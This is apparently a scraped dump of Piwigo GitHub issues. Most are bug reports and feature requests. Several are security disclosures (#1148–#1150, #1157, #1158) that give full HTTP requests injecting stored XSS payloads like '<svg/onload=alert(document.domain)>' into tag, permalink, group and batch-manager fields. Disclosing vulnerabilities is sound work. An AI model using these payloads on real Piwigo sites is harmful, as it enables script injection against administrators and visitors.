`Deprecated: Non-static method Smarty_Internal_Debug::display_debug() should not be called statically in /var/www/piwigo/include/template.class.php on line 571`
`Fatal error: Uncaught Error: Using $this when not in object context in /var/www/piwigo/include/smarty/libs/sysplugins/smarty_internal_debug.php:200 Stack trace: #0 /var/www/piwigo/include/template.class.php(571): Smarty_Internal_Debug::display_debug(Object(Smarty)) #1 /var/www/piwigo/include/page_tail.php(94): Template->p() #2 /var/www/piwigo/index.php(358): include('/var/www/piwigo...') #3 {main} thrown in /var/www/piwigo/include/smarty/libs/sysplugins/smarty_internal_debug.php on line 200`
Aside those messages, the app works pretty well, but it make the pages ugly.
|
PHP errors
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1165/comments
| 0 |
2020-03-06T20:19:53Z
|
2020-03-06T20:19:53Z
|
https://github.com/Piwigo/Piwigo/issues/1165
| 577,154,717 | 1,165 |
[
"Piwigo",
"Piwigo"
] |
Piwigo app in iOS upload photos to web only in 480x360 px from iCloud storage. Upload from local storage (recent) is good.
|
IOS upload photos from iCloud
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1163/comments
| 1 |
2020-02-19T13:35:51Z
|
2020-06-28T17:37:32Z
|
https://github.com/Piwigo/Piwigo/issues/1163
| 567,574,289 | 1,163 |
[
"Piwigo",
"Piwigo"
] |
Linked to #264
It's often useful to be able to manage users of a specific group. Unfortunately we have lost this feature with Piwigo 2.6 (back in 2014, that's 6 years ago).
Before we implement a deeper refresh of user/group managers, let's add this little feature.
|
[users] filter by group
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1162/comments
| 0 |
2020-02-18T09:48:14Z
|
2020-02-18T09:51:16Z
|
https://github.com/Piwigo/Piwigo/issues/1162
| 566,769,807 | 1,162 |
[
"Piwigo",
"Piwigo"
] |
I would like to add a category to the keyword overview in my theme. Unfortunately, this is not possible, because all deviations are intercepted in php.
|
Add ability to expand the display categories of tags in a theme
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1160/comments
| 1 |
2020-02-15T15:29:08Z
|
2022-07-29T17:41:16Z
|
https://github.com/Piwigo/Piwigo/issues/1160
| 565,764,308 | 1,160 |
[
"Piwigo",
"Piwigo"
] |
Does Piwigo have full-featured face-tagging functionality [like Picasa had](https://lifehacker.com/picasa-3-5-organizes-your-photos-with-facial-recognitio-5365267)? Either in plugins or in basic functionality?
|
Face tagging/recognition available?
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1159/comments
| 4 |
2020-02-13T12:34:24Z
|
2020-02-17T07:39:47Z
|
https://github.com/Piwigo/Piwigo/issues/1159
| 564,653,415 | 1,159 |
[
"Piwigo",
"Piwigo"
] |
Hi team!
I found a XSS in XSS in /admin.php?page=permalinks
Exploit Request:
```
POST /piwigo/piwigo/admin.php?page=permalinks HTTP/1.1
Host: 192.168.10.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
Origin: http://192.168.10.138
Connection: close
Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=permalinks
Cookie: pwg_id=ragm92nc6a3rr532fi0h9h6f21
Upgrade-Insecure-Requests: 1
cat_id=3&permalink=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&save=on&set_permalink=Submit&pwg_token=2048f9dd482aaca003e193045fd4f763
```
PoC:
|
XSS in /admin.php?page=permalinks
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1158/comments
| 3 |
2020-02-12T03:32:27Z
|
2021-12-07T11:25:28Z
|
https://github.com/Piwigo/Piwigo/issues/1158
| 563,727,063 | 1,158 |
[
"Piwigo",
"Piwigo"
] |
Hi team,
I just found a stored XSS in `admin.php?page=tags`.
Exploit Request :
```
POST /piwigo/piwigo/admin.php?page=tags HTTP/1.1
Host: 192.168.10.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://192.168.10.138
Connection: close
Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=tags
Cookie: pwg_id=kikufgh78rp553s266q6r0sj62
Upgrade-Insecure-Requests: 1
pwg_token=c8dea9237930ccb48c6d1a4e5020b32b&add_tag=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&add=Submit
```
PoC:
|
Stored Cross Site Scripting in /admin.php?page=tags
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1157/comments
| 4 |
2020-02-12T02:40:57Z
|
2021-12-07T11:25:00Z
|
https://github.com/Piwigo/Piwigo/issues/1157
| 563,700,554 | 1,157 |
[
"Piwigo",
"Piwigo"
] |
Starting with PHP 7.4.0 passing the glue after the pieces (i.e. not using the documented order of parameters) has been deprecated.
|
Deprecated usage of implode
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1155/comments
| 0 |
2020-02-11T11:08:54Z
|
2020-03-25T14:06:10Z
|
https://github.com/Piwigo/Piwigo/issues/1155
| 563,131,077 | 1,155 |
[
"Piwigo",
"Piwigo"
] |
Calling `pwg.categories.getList` with `tree_output` set to true returns just a list of categories, whereas with false you get a hash with the single key "categories" and the category list as a value. That doesn't make a whole lot of sense.
Now if the API was versioned, this could be fixed in a new revision, but as it stands, it will probably need a new method call, or compatibility will have to be broken.
|
Inconsistent API results
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1154/comments
| 2 |
2020-02-06T15:55:35Z
|
2020-02-08T11:10:18Z
|
https://github.com/Piwigo/Piwigo/issues/1154
| 561,104,736 | 1,154 |
[
"Piwigo",
"Piwigo"
] |
I'm currently developing a new Perl module for the WS API and ran into the following MySQL error:
```
Warning: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')' at line 4
SELECT id
FROM images
WHERE storage_category_id IN (
)
; in [redacted]/include/dblayer/functions_mysqli.inc.php on line 856
Fatal error: Uncaught Error: Call to a member function fetch_assoc() on boolean in [redacted]/include/dblayer/functions_mysqli.inc.php:917
Stack trace:
#0 [redacted]/admin/include/functions.php(71): query2array('\nSELECT id\n FR...', NULL, 'id')
#1 [redacted]/admin/cat_list.php(145): delete_categories(Array, 'no_delete')
#2 [redacted]/admin.php(309): include('/var/www/pics.t...')
#3 {main} thrown in [redacted]/include/dblayer/functions_mysqli.inc.php on line 917
```
Unfortunately I cannot reproduce it. It happened on the second deletion after I called `pwg.categories.add` twice with the same (unset) parent and the same name (`create_virtual_category()` should probably prevent this in the first place as it can only lead to confusion), then tried to delete the two categories again.
Apparently it can happen that `get_subcat_ids()` returns an empty list, and the SQL assembly in `admin/include/functions.php` doesn't guard against that.
From a security standpoint this is horrible BTW. This kind of SQL bricolage should happen, if at all in this day and age, in a very small DB layer and not all over the place. I could easily add a check for this instance, but that wouldn't solve much.
|
MySQL error when deleting categories
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1153/comments
| 3 |
2020-02-05T03:24:44Z
|
2020-02-10T14:54:29Z
|
https://github.com/Piwigo/Piwigo/issues/1153
| 560,116,697 | 1,153 |
[
"Piwigo",
"Piwigo"
] |
I just registered a new user. The popin to edit the user provides invalid information:
> Registered on 28 January 2020, 14 minutes ago.
> Last visit on 27 January 2020, 12 hours ago.
This is highly unlikely.
related to #478
|
incoherent "last visit" for a new user
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1152/comments
| 0 |
2020-01-28T10:31:58Z
|
2020-01-28T10:32:36Z
|
https://github.com/Piwigo/Piwigo/issues/1152
| 556,117,503 | 1,152 |
[
"Piwigo",
"Piwigo"
] |
Description:
Piwigo version 2.10.1 is affected by stored cross site scripting vulnerability. This vulnerability exists in "Group Name" Field in "group_list" page.
How to reproduce:
1. Login into the application.
2. Go to the "Users" -> "Groups" page from life navigation menu.
3. Click on "Add Group" button and then in "Group Name" field insert the payload <img src="X" onerror="alert(document.domain)"> and hit add button.
CVSS Score:
CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N
*********************************************************************************************************
POST /piwig/admin.php?page=group_list HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Origin: http://172.16.163.1
Connection: close
Cookie: pwg_display_thumbnail=no_display_thumbnail; phavsz=1141x490x1; pwg_id=i6juu2ls6m174g1f0abcjodjs7; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D
groupname=%3Cimg+src%3DX+onerror%3Dalert%28document.domain%29%3E&submit_add=Add&pwg_token=46695f2721b77a2840903ba6298796be
*********************************************************************************************************
|
Stored Cross-Site Scripting vulnerability in Piwigo CMS
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1150/comments
| 1 |
2020-01-20T13:47:13Z
|
2020-03-25T14:32:53Z
|
https://github.com/Piwigo/Piwigo/issues/1150
| 552,310,420 | 1,150 |
[
"Piwigo",
"Piwigo"
] |
Description:
Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Global Mode" tab in "batch_manager" page. Specifically in the action section.
How to reproduce:
1. Login into the application and upload any image file.
2. Go to the "batch_manager" page under "Photos" menu.
3. In "Global Mode" tab, select any image and in the action section select "Set Title" option.
4. In the title field insert the payload <img src="X" onerror="alert(document.domain)"> and hit enter.
Note: In this Mode all "Set Title", "Set Author" and "Set Tags" options are affected.
CVSS Score:
CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N
1. Set Title field
*********************************************************************************************************
POST /piwig/admin.php?page=batch_manager&mode=global HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 655
Origin: http://172.16.163.1
Connection: close
Cookie: pwg_id=7cbqr1qqln888l8kfuevbq3j64; pwg_display_thumbnail=no_display_thumbnail; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D
start=0&pwg_token=8ed24b9b76c8e91cc8bbe022fbd1c757&filter_prefilter_use=on&filter_prefilter=caddie&filter_duplicates_date=on&filter_category=1&tag_mode=AND&filter_level=0&filter_dimension_min_width=225&filter_dimension_max_width=225&filter_dimension_min_height=225&filter_dimension_max_height=225&filter_dimension_min_ratio=1&filter_dimension_max_ratio=1&q=&filter_filesize_min=0.1&filter_filesize_max=0.1&setSelected=on&selection%5B%5D=1&selectAction=title&associate=1&dissociate=1&author=&title=%3Cimg+src%3D%22X%22+onerror%3D%22alert%28document.domain%29%22%3E&date_creation=2020-01-17+00%3A00%3A00&level=0®enerateSuccess=0®enerateError=0&submit=
*********************************************************************************************************
2. Set Author field
*********************************************************************************************************
POST /piwig/admin.php?page=batch_manager&mode=global HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 641
Origin: http://172.16.163.1
Connection: close
Referer: http://172.16.163.1/piwig/admin.php?page=batch_manager
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=t2rehceos6pdqmked61pliif25; pwg_remember=1-1579317252-El61rixYj%2BDkMW1pS8UqG%2F9azxM%3D; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D
Upgrade-Insecure-Requests: 1
start=0&pwg_token=4266fc8639bd394b648eed2ac50fba94&filter_prefilter_use=on&filter_prefilter=caddie&filter_duplicates_date=on&filter_category=1&tag_mode=AND&filter_level=0&filter_dimension_min_width=225&filter_dimension_max_width=225&filter_dimension_min_height=225&filter_dimension_max_height=225&filter_dimension_min_ratio=1&filter_dimension_max_ratio=1&q=&filter_filesize_min=0.1&filter_filesize_max=0.1&selection%5B%5D=1&selectAction=author&associate=3&dissociate=1&author=%3Cimg+src%3D%22X%22+onerror%3D%22alert%28document.domain%29%22%3E&title=&date_creation=2020-01-18+00%3A00%3A00&level=0®enerateSuccess=0®enerateError=0&submit=
*********************************************************************************************************
|
Multiple Stored Cross-Site Scripting vulnerabilities in Piwigo CMS
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1149/comments
| 4 |
2020-01-20T13:44:29Z
|
2020-02-07T16:51:10Z
|
https://github.com/Piwigo/Piwigo/issues/1149
| 552,308,942 | 1,149 |
[
"Piwigo",
"Piwigo"
] |
Description:
Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Single Mode" tab in "batch_manager" page. Specifically "Title", "Author", "Tags", and "Description" fields are affected.
How to reproduce:
1. Login into the application and upload any image file.
2. Go to the "batch_manager" page under "Photos" menu.
3. In "Single Mode" tab, insert the payload <img src="X" onerror="alert(document.domain)"> or <img src="X" onerror=alert("Author")> in "Title", "Author", "Tags", and "Description" fields and hit enter.
4. Then view the image in recent photos page. Any user who visits the photos page is affected.
CVSS Score:
CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N
*********************************************************************************************************
POST /piwig/admin.php?page=batch_manager&mode=unit HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Origin: http://172.16.163.1
Connection: close
Cookie: pwg_display_thumbnail=no_display_thumbnail; phavsz=1141x490x1; pwg_id=i6juu2ls6m174g1f0abcjodjs7; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D
element_ids=1&name-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%281%29%22%3B%3E&author-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%282%29%22%3B%3E&date_creation-1=&level-1=0&description-1=%3Cimg+src%3D%22X%22+onerror%3D%22alert%284%29%22%3B%3E%0D%0A&submit=Submit
*********************************************************************************************************
|
Multiple Stored Cross-Site Scripting vulnerabilities in "batch_manager" page in single mode. "Title", "Author" and "Tags" field affected
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1148/comments
| 2 |
2020-01-20T13:38:11Z
|
2020-02-07T16:38:14Z
|
https://github.com/Piwigo/Piwigo/issues/1148
| 552,305,568 | 1,148 |
[
"Piwigo",
"Piwigo"
] |
Piwigo in a container `linuxserver/piwigo` connecting to a mysql 8.0.17 server `mysql/mysql-server`
Gives the below error:
```[Warning] [MY-013360] [Server] Plugin sha256_password reported: ''sha256_password' is deprecated and will be removed in a future release. Please use caching_sha2_password instead'```
Full mysql containter log:
```[Entrypoint] MySQL Docker Image 8.0.17-1.1.12
[Entrypoint] Starting MySQL 8.0.17-1.1.12
2019-12-01T19:40:48.431829Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.17) starting as process 7
2019-12-01T19:41:26.638205Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.
2019-12-01T19:41:28.004782Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.17' socket: '/var/lib/mysql/mysql.sock' port: 3306 MySQL Community Server - GPL.
2019-12-01T19:41:29.293648Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Socket: '/var/run/mysqld/mysqlx.sock' bind-address: '::' port: 33060
[Entrypoint] MySQL Docker Image 8.0.17-1.1.12
[Entrypoint] Starting MySQL 8.0.17-1.1.12
2019-12-27T18:14:14.874508Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.17) starting as process 6
2019-12-27T18:14:45.137544Z 0 [System] [MY-010229] [Server] Starting crash recovery...
2019-12-27T18:14:45.196023Z 0 [System] [MY-010232] [Server] Crash recovery finished.
2019-12-27T18:14:48.567832Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.
2019-12-27T18:14:49.717269Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.17' socket: '/var/lib/mysql/mysql.sock' port: 3306 MySQL Community Server - GPL.
2019-12-27T18:14:51.072796Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Socket: '/var/run/mysqld/mysqlx.sock' bind-address: '::' port: 33060
2020-01-10T13:04:11.046814Z 38949 [Warning] [MY-013360] [Server] Plugin sha256_password reported: ''sha256_password' is deprecated and will be removed in a future release. Please use caching_sha2_password instead'
2020-01-10T13:04:40.738262Z 38951 [Warning] [MY-013360] [Server] Plugin sha256_password reported: ''sha256_password' is deprecated and will be removed in a future release. Please use caching_sha2_password instead'
2020-01-10T13:27:27.988130Z 38996 [Warning] [MY-013360] [Server] Plugin sha256_password reported: ''sha256_password' is deprecated and will be removed in a future release. Please use caching_sha2_password instead'
2020-01-10T13:28:37.908174Z 39000 [Warning] [MY-013360] [Server] Plugin sha256_password reported: ''sha256_password' is deprecated and will be removed in a future release. Please use caching_sha2_password instead'```
Requirements seem to only be "MySQL 5 or greater or MariaDB equivalent" ?
|
MySQL error: [MY-013360] ''sha256_password' is deprecated use caching_sha2_password instead'
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1145/comments
| 8 |
2020-01-10T13:41:40Z
|
2020-12-18T12:40:56Z
|
https://github.com/Piwigo/Piwigo/issues/1145
| 548,086,244 | 1,145 |
[
"Piwigo",
"Piwigo"
] |
Hi,
There are opened different issues considering support of mentioned formats ([WebP](https://github.com/Piwigo/Piwigo/issues/223),[Heif](https://piwigo.org/forum/viewtopic.php?id=28440)) by Piwigo.
WebP and HEIC are for some time fully supported by major browsers and systems (well WebP is boycotted by apple - but this is their problem). Those formats are also supported for a long time by ImageMagick (and clones).
So implementation (for someone knowing Piwigo code) should be quite straight forward.
Soon we should also have AVIF support for all browsers - but for other tools I guess it will take some time.
Anyway - I think it's time to add those formats, and perhaps make it easier to add other new ones (without "switch" and "if's" - like it's now) in the future or Piwigo will fall behind the others.
Is this support even considered now?
|
New image formats support - WebP, AVIF, Heic
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1144/comments
| 42 |
2019-12-30T08:12:48Z
|
2024-03-03T08:50:05Z
|
https://github.com/Piwigo/Piwigo/issues/1144
| 543,789,917 | 1,144 |
[
"Piwigo",
"Piwigo"
] |
Hi,
I'm impressed by this software. I've tried to enhance it using ldap_login, however I've come across a small issue. Newly created users can go to customise and change their email&password / theme. We can disable the latter but how can we disable the former. So is there an option or can there be an option to disable changing userinfo? Our software does updates them by Windows Active Directory.
I found in ./themes/default/template/profile_content.tpl the following:
`{if not $SPECIAL_USER} {* can modify password + email*}`
and
`{if $ALLOW_USER_CUSTOMIZATION}`
Is this what should be used?
|
Add option disable Home/Profile/Registration block
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1143/comments
| 1 |
2019-12-28T12:57:00Z
|
2019-12-28T14:59:43Z
|
https://github.com/Piwigo/Piwigo/issues/1143
| 543,153,704 | 1,143 |
[
"Piwigo",
"Piwigo"
] |
Add a option to be able to choose when go to page add photo (/admin.php?page=photos_add)
select box (Select an album)
-the album selection is that of the last import (as today)
or
- is always empty
|
option for add phoos
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1142/comments
| 0 |
2019-12-23T08:08:02Z
|
2019-12-23T08:08:02Z
|
https://github.com/Piwigo/Piwigo/issues/1142
| 541,635,001 | 1,142 |
[
"Piwigo",
"Piwigo"
] |
Hi,
It would be nice to have an API to set album permissions and sort order. Currently, I am doing the same by calling .../admin.php?page=album-[ALBUM#]-permissions/sort-order, passing the required parameters and checking for a status of 200. This works fine, but an API would be best.
|
Need API for setting Album permissions and sort order
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1141/comments
| 2 |
2019-12-18T05:32:03Z
|
2020-06-29T07:43:16Z
|
https://github.com/Piwigo/Piwigo/issues/1141
| 539,460,972 | 1,141 |
[
"Piwigo",
"Piwigo"
] |
Hi,
I use the mugshot extension. The author seems to have abandoned it (there is no reply to personal e-mail, let alone the problems that have been listed in the forum).
My request is that the developers of piwigo "adopt" it as an official extension.
Apart from the warnings that people have complained about, my main issue that I need help with is:
When the page first opens with the photo, the mugshot (the dashed line around the face) is not shown when the mouse hovers over it. Instead, I have to ask for a resized photo and then switch the size back to the original one for the mugshots to start working.
This is probably a JS initialization-type problem. Could someone please let me know how this could be fixed, or even worked around?
Thanks,
Sridhar
|
Need help with mugshot extension
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1140/comments
| 0 |
2019-12-17T04:12:35Z
|
2019-12-17T04:12:35Z
|
https://github.com/Piwigo/Piwigo/issues/1140
| 538,821,365 | 1,140 |
[
"Piwigo",
"Piwigo"
] |
Hi there,
upfront: I am looking into packaging piwigo for [Cloudron](https://cloudron.io) and our app package code is at https://git.cloudron.io/cloudron/piwigo-app
While doing this, the Cloudron package has LDAP login enabled. Now once installed, visiting the app, it appears that there are two different login screens:
and
Is this an error in the packaging/deployment or are both supposed to be there? They also result in different behavior what screen is shown after login?
Thanks a lot!
|
Two different login screens
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1138/comments
| 2 |
2019-12-10T15:09:21Z
|
2020-10-29T16:51:42Z
|
https://github.com/Piwigo/Piwigo/issues/1138
| 535,791,554 | 1,138 |
[
"Piwigo",
"Piwigo"
] |
/fieldset is placed inside an [elseif] statement. So it will not always be printed. Resulting in an unclosed fieldset tag.
It should be placed between /if and /form:
```
{/if}
</fieldset>
</form>
```
|
password.tpl
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1137/comments
| 0 |
2019-12-10T02:09:51Z
|
2019-12-10T02:10:29Z
|
https://github.com/Piwigo/Piwigo/issues/1137
| 535,446,838 | 1,137 |
[
"Piwigo",
"Piwigo"
] |
## Environment
Piwigo 2.10.1
Operating system: Linux
PHP: 7.3.11-1~deb10u1
MySQL: 5.5.5-10.3.18-MariaDB-0+deb10u1
Graphics Library: ImageMagick 6.9.10-23
## How to reproduce
Click the link "Batch Manager" from the sidebar of the admin panel.
## Expected behavior
Load the Batch Manager.
## Actual results
```
Warning: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 3
```
```sql
SELECT COUNT(*)
FROM categories
WHERE id =
; in /var/www/piwigo/include/dblayer/functions_mysqli.inc.php on line 856
Fatal error: Uncaught Error: Call to a member function fetch_row() on bool in /var/www/piwigo/include/dblayer/functions_mysqli.inc.php:225 Stack trace: #0 /var/www/piwigo/admin/batch_manager.php(476): pwg_db_fetch_row(false) #1 /var/www/piwigo/admin.php(309): include('/var/www/piwigo...') #2 {main} thrown in /var/www/piwigo/include/dblayer/functions_mysqli.inc.php on line 225
```
|
Batch manager raises SQL errors
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1136/comments
| 0 |
2019-12-06T11:43:50Z
|
2019-12-06T21:03:18Z
|
https://github.com/Piwigo/Piwigo/issues/1136
| 533,915,307 | 1,136 |
[
"Piwigo",
"Piwigo"
] |
With PHP 7.4.0, I'm getting the following deprecation warning.
> Deprecated: Array and string offset access syntax with curly braces is deprecated in /usr/share/webapps/piwigo/include/functions_cookie.inc.php on line 57
|
PHP 7.4: array/string offset access deprecation warning
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1134/comments
| 0 |
2019-12-03T20:54:53Z
|
2019-12-04T09:42:52Z
|
https://github.com/Piwigo/Piwigo/issues/1134
| 532,259,652 | 1,134 |
[
"Piwigo",
"Piwigo"
] |
When the height of your web browser is too short, combined with a long list of plugins, you just can't reach the last items in the menu.
(in this screenshot, there are 10 more plugins you can't reach)
|
[admin menubar] unreachable items when height is too small
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1133/comments
| 0 |
2019-12-03T11:24:14Z
|
2019-12-03T14:20:32Z
|
https://github.com/Piwigo/Piwigo/issues/1133
| 531,915,555 | 1,133 |
[
"Piwigo",
"Piwigo"
] |
After upgrading from php-7.3.12 to php-7.4.0 I'm now seeing an error logged on the very front page:
[Notice: Trying to access array offset on value of type null in
/var/www/piwigo.reub.net/htdocs/include/functions_category.inc.php
on line 125]
It looks like some tweaking may be required for the newer version of php. This error does not occur with php-7.3 .
This is on a Gentoo x86_64 box with apache 2.4.41 as the web server.
|
PHP-7.4 Issue = "Trying to access array offset on value of type null" in functions_category.inc.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1130/comments
| 10 |
2019-12-02T11:35:52Z
|
2020-02-13T08:00:15Z
|
https://github.com/Piwigo/Piwigo/issues/1130
| 531,070,764 | 1,130 |
[
"Piwigo",
"Piwigo"
] |
Creating an album with & in its name through the ws succeeds and results in an album created with only the text before the &.
It needs better handling - either fail completely (don't create anything) or handle the & and create the album with the name as intended.
Latest piwigo, mysql 8.0, php 7.3
|
Creating an album with an & in name doesn't work properly
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1129/comments
| 0 |
2019-12-02T01:03:02Z
|
2019-12-02T01:03:02Z
|
https://github.com/Piwigo/Piwigo/issues/1129
| 530,832,344 | 1,129 |
[
"Piwigo",
"Piwigo"
] |
I am using https on my gallery and when I want to generate multiple size images, the batch manager call i.php via http and this request gets blocked. The blocked request shows in the dev console of a browser (Opera, did not show up in Firefox). As a result the thumbnails generation fails with an error "8 photos can not be regenerated".
This issue got discovered by flop25 in this topic https://piwigo.org/forum/viewtopic.php?pid=175220#p175220
|
calls made in http while browsing on https
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1128/comments
| 5 |
2019-12-01T21:54:47Z
|
2022-12-26T15:21:15Z
|
https://github.com/Piwigo/Piwigo/issues/1128
| 530,802,677 | 1,128 |
[
"Piwigo",
"Piwigo"
] |
Hi all!
I have trouble running Piwigo Version 2.10.1 behind a proxy server which is required to access the Internet at my site.
I have configured
```
<?php
$conf['use_proxy'] = true;
$conf['proxy_server'] = '192.168.94.1:8080';
?>
```
using the LocalFiles Editor, but Piwigo is still not able to look for an update for itself or to show, download or install any extensions.
Is this a known issue? By referencing the [release notes for 2.8.0](https://de.piwigo.org/release-2.8.0#proxy), this should work ...
Thank you for your support.
|
Cant update or install extensions behind proxy server
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1127/comments
| 1 |
2019-12-01T11:57:17Z
|
2019-12-01T14:25:48Z
|
https://github.com/Piwigo/Piwigo/issues/1127
| 530,719,720 | 1,127 |
[
"Piwigo",
